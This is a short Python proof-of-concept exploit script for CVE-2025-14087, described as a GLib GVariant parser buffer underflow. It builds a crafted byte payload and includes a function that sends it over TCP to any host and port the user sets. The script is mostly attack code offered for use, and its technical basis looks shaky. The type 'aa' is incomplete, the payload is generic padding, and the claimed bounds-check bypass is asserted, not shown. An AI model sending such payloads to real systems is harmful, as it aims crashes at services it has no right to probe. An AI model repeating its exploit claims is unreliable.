CVE-2025-14087

#!/usr/bin/env python3 """ CVE-2025-14087 PoC - GLib GVariant Buffer Underflow This PoC demonstrates the buffer underflow condition in GVariant parser. Note: This is for educational and testing purposes only. """ import struct def create_malformed_gvariant(): """ Create a malformed GVariant structure that triggers buffer underflow. GVariant format: type signature + encoded data """ # GVariant type signature for 'aa' (array of arrays) type_sig = b'aa' # Crafted length that causes underflow during parsing # This exploits the bounds check bypass in GVariant parser malicious_data = b'\x00' * 16 + b'\xff' * 8 return type_sig + malicious_data def send_malformed_input(target_host, target_port): """ Send malformed GVariant data to target application. """ import socket payload = create_malformed_gvariant() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(payload) sock.close() print(f"Malformed GVariant payload sent to {target_host}:{target_port}") except Exception as e: print(f"Error sending payload: {e}") if __name__ == "__main__": print("CVE-2025-14087 PoC Generator") print("Target: GLib GVariant Parser Buffer Underflow") print("Usage: Modify target_host/target_port and execute") # Generate payload for manual testing payload = create_malformed_gvariant() print(f"\nGenerated payload length: {len(payload)} bytes") print(f"Payload hex: {payload.hex()}")

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